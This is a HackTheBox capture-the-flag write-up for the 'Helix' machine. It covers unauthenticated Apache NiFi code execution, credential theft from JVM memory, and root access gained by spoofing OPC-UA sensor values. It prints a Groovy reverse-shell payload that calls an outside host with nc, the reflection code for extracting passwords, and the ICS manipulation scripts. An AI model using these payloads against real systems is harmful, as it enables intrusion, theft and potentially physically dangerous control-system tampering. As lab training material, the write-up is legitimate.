← back to write ups

Write Up

Helix

HackTheBox Medium Linux View on HTB ↗

Overview

Helix is a medium Linux machine themed around industrial control systems. The attack chain covers virtual host discovery, unauthenticated Apache NiFi RCE via a Groovy ExecuteScript processor, credential extraction from a live JVM heap using Java reflection, SSH key recovery from a NiFi support bundle, and privilege escalation by writing to an OPC-UA server to trigger a dynamic sudo rule from a root-owned safety controller.

Reconnaissance

Nmap

nmap --privileged -sC -sV -T4 -p- --min-rate 5000 -oA nmap 10.129.245.123

Two ports open:

Virtual Host Discovery

ffuf -u http://helix.htb/ \
  -H "Host: FUZZ.helix.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <wildcard_size>

Result: flow.helix.htb — the only real vhost. Added both to /etc/hosts.

Foothold — Apache NiFi Unauthenticated RCE

Browsing to http://flow.helix.htb/nifi/ reveals Apache NiFi 1.21.0 with no authentication configured. NiFi allows unauthenticated users to create and run ExecuteScript processors containing arbitrary Groovy code.

Exploit Steps

Get the root process group ID from the NiFi API:

curl -s http://flow.helix.htb/nifi-api/process-groups/root \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])"

Create an ExecuteScript processor via the API, configure it with a Groovy reverse shell payload, then start it:

def cmd = ["/bin/bash", "-c",
  "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.23 4446 >/tmp/f"
].execute()
cmd.waitFor()

Key requirements that aren't obvious from the docs:

This gives a shell as nifi.

Credential Extraction via JVM Reflection

Inside /opt/nifi-1.21.0/conf/flow.xml.gz there is an AES-GCM encrypted H2 database password (enc{...}) for user operator. Standard PBKDF2/AES-GCM decryption fails because NiFi uses Additional Authenticated Data (component ID concatenated with the property name) when constructing the GCM tag — something not documented publicly.

Rather than breaking the encryption, we read the plaintext directly from the running JVM. NiFi has already decrypted the password internally to establish the H2 connection. A Groovy processor running inside the same JVM can walk the Java reflection chain to reach it:

// Unwrap the dynamic proxy wrapping the controller service
def hField = java.lang.reflect.Proxy.getDeclaredField("h")
hField.setAccessible(true)
def handler = hField.get(svc)

def origField = handler.getClass().getDeclaredField("originalService")
origField.setAccessible(true)
def realSvc = origField.get(handler)

// Walk class hierarchy to find BasicDataSource
def dsField = null
def clazz = realSvc.getClass()
while (clazz != null && dsField == null) {
    try { dsField = clazz.getDeclaredField("dataSource") } catch(e) {}
    clazz = clazz.getSuperclass()
}
dsField.setAccessible(true)
def ds = dsField.get(realSvc)

println ds.getUsername() + " : " + ds.getPassword()

Result: operator : R7qZ9L3xKM2W8pFYcA — the H2 database password. Not the Linux password, but useful for confirming the operator account exists.

SSH Access as operator

Enumerating the NiFi directory tree uncovers a backup SSH key left in a support bundle:

/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
chmod 600 operator_id_ed25519.bak
ssh -i operator_id_ed25519.bak [email protected]

User flag retrieved from ~/user.txt.

Privilege Escalation — OPC-UA ICS Exploitation

Internal Service Discovery

ss -tlnp

Two interesting internal ports:

Three ICS binaries are running:

HMI Analysis

curl -s http://127.0.0.1:8081/

The Reactor HMI shows live temperature (~284°C) and pressure (~69 bar). A note explains a Privileged Maintenance Window opens when temperature ≥ 295°C or pressure ≥ 73 bar, while TripActive remains false. Checking /etc/sudoers.d/helix-maint confirms the safety controller dynamically writes a sudoers rule when this condition is met.

OPC-UA Node Enumeration

pip3 install asyncua --user
import asyncio
from asyncua import Client

async def main():
    async with Client("opc.tcp://127.0.0.1:4840/helix/") as c:
        plant = c.get_node("ns=2;i=1")
        # Relevant nodes:
        # ns=2;i=3  TemperatureRaw   — read-only
        # ns=2;i=4  Temperature      — read-only
        # ns=2;i=5  Pressure         — read-only
        # ns=2;i=6  CalibrationOffset — writable (Double)
        # ns=2;i=12 Mode             — writable (String)
        # ns=2;i=13 TestOverride     — writable (Boolean)

asyncio.run(main())

Triggering the Maintenance Window

CalibrationOffset (ns=2;i=6) is writable by the operator role. Adding 20°C to the calibration offset pushes the displayed temperature from ~284°C to ~304°C, above the 295°C threshold. Critically, this must be written as a Double — using Float raises a BadTypeMismatch error.

import asyncio
from asyncua import Client
from asyncua.ua import DataValue, Variant, VariantType

async def main():
    async with Client("opc.tcp://127.0.0.1:4840/helix/") as c:
        await c.get_node("ns=2;i=6").write_value(
            DataValue(Variant(20.0, VariantType.Double)))
        await c.get_node("ns=2;i=12").write_value(
            DataValue(Variant("MAINTENANCE", VariantType.String)))
        await c.get_node("ns=2;i=13").write_value(
            DataValue(Variant(True, VariantType.Boolean)))

asyncio.run(main())

Once helix-safety detects the hazardous condition it writes a temporary sudoers entry:

sudo -l
# (root) NOPASSWD: /usr/local/sbin/helix-maint-console

Root Shell

The window stays open for roughly 60 seconds. Trigger and immediately run the maintenance console:

python3 /tmp/trigger.py && sleep 1 && sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 37 seconds
root@helix:~#

Root flag retrieved from /root/root.txt.

Key Takeaways

NiFi's enc{...} values use AES-GCM with the component ID and property name as AAD — brute-forcing the key alone will always fail. But the JVM reflection approach sidesteps crypto entirely: if a service has decrypted something into memory, you can read it from inside the same process without knowing the key at all.

The OPC-UA privilege escalation is a good example of ICS attack surface on CTF machines. The safety controller trusts the OPC-UA values without validating who wrote them — a standard ICS design flaw. Operator-level write access to a calibration offset is enough to trigger a hazardous condition, which in this case hands over a root shell.